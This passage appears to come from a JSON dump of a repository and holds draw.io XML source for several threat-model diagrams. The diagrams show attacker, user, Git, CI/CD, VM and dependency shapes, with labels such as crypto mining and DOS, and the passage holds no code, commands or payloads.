style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"344.68\" y=\"239\" as=\"sourcePoint\" />\n            <mxPoint x=\"344.68\" y=\"203\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-81\" value=\"\" style=\"whiteSpace=wrap;html=1;aspect=fixed;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"248\" y=\"167\" width=\"28\" height=\"28\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-82\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"261.68\" y=\"239\" as=\"sourcePoint\" />\n            <mxPoint x=\"261.68\" y=\"203\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-85\" value=\"\" style=\"whiteSpace=wrap;html=1;aspect=fixed;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"146.7\" y=\"167\" width=\"28\" height=\"28\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-86\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"160.38\" y=\"239\" as=\"sourcePoint\" />\n            <mxPoint x=\"160.38\" y=\"203\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/crypto.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:19:36.201Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"EUsQxfvUvAR1T3BUAbhp\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-111\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"185\" y=\"256.5\" width=\"212\" height=\"90.5\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"268\" y=\"160\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"257\" y=\"187\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Git&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"322.5\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-104\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"337\" y=\"271.75\" width=\"28\" height=\"36.4\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-112\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"259.5\" y=\"284.15\" width=\"63\" height=\"24\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-113\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"261\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-114\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"209\" y=\"278.48\" width=\"27.2\" height=\"35.34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-115\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;VMs&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"192.6\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-116\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Crypto Mining&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;fontColor=#FF0000;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"287\" y=\"217\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-118\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"286.68\" y=\"251\" as=\"sourcePoint\" />\n            <mxPoint x=\"286.68\" y=\"217\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/dependency.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:49:22.282Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"2ZX446PhNSQkIxxzApX-\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"134\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"328\" y=\"161\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"357.68\" y=\"237.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"357.68\" y=\"201.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-48\" value=\"\" style=\"sketch=0;pointerEvents=1;shadow=0;dashed=0;html=1;strokeColor=#b85450;labelPosition=center;verticalLabelPosition=bottom;verticalAlign=top;align=center;fillColor=#f8cecc;shape=mxgraph.mscae.oms.dependency_monitor\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"328\" y=\"253.5\" width=\"50\" height=\"49\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-49\" value=\"Dependency\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"313\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/depi.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:10:09.668Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"7juTTuaSjsQ8ihrHSPWN\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-96\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"165\" y=\"245\" width=\"232\" height=\"88\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"142\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"169\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-89\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f5f5f5;strokeColor=#030303;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"249\" y=\"277.68\" as=\"sourcePoint\" />\n            <mxPoint x=\"295\" y=\"277.68\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-91\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;fillColor=#f5f5f5;strokeColor=#666666;fontColor=#333333;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"261\" width=\"74\" height=\"34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"319\" y=\"299.5\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-94\" value=\"&lt;span style=&quot;font-size: 8px;&quot;&gt;VMs&lt;/span&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"186\" y=\"305\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-95\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"196.9\" y=\"255.37000000000003\" width=\"38.2\" height=\"49.63\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/dos.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T13:16:47.993Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"UFekpWU8xWAg8nGmmeOX\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-111\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"185\" y=\"256.5\" width=\"212\" height=\"90.5\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"330\" y=\"159\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"319\" y=\"186\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"348.68\" y=\"250\" as=\"sourcePoint\" />\n            <mxPoint x=\"348.68\" y=\"214\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Git&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"322.5\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-104\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"337\" y=\"271.75\" width=\"28\" height=\"36.4\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-112\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"259.5\" y=\"284.15\" width=\"63\" height=\"24\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-113\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"261\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-114\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"209\" y=\"278.48\" width=\"27.2\" height=\"35.34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-115\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;VMs&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"192.6\" y=\"308.15\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-116\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;DOS&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"337\" y=\"213\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/endpoint.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:34:43.921Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"gNcf9NEaFcwHvNDYbP4P\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-22\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"441\" y=\"244\" width=\"70\" height=\"66\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"454.5\" y=\"255.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"451\" y=\"316\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"368\" y=\"272\" as=\"sourcePoint\" />\n            <mxPoint x=\"438\" y=\"272\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"457\" y=\"148\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"446\" y=\"187\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-11\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" 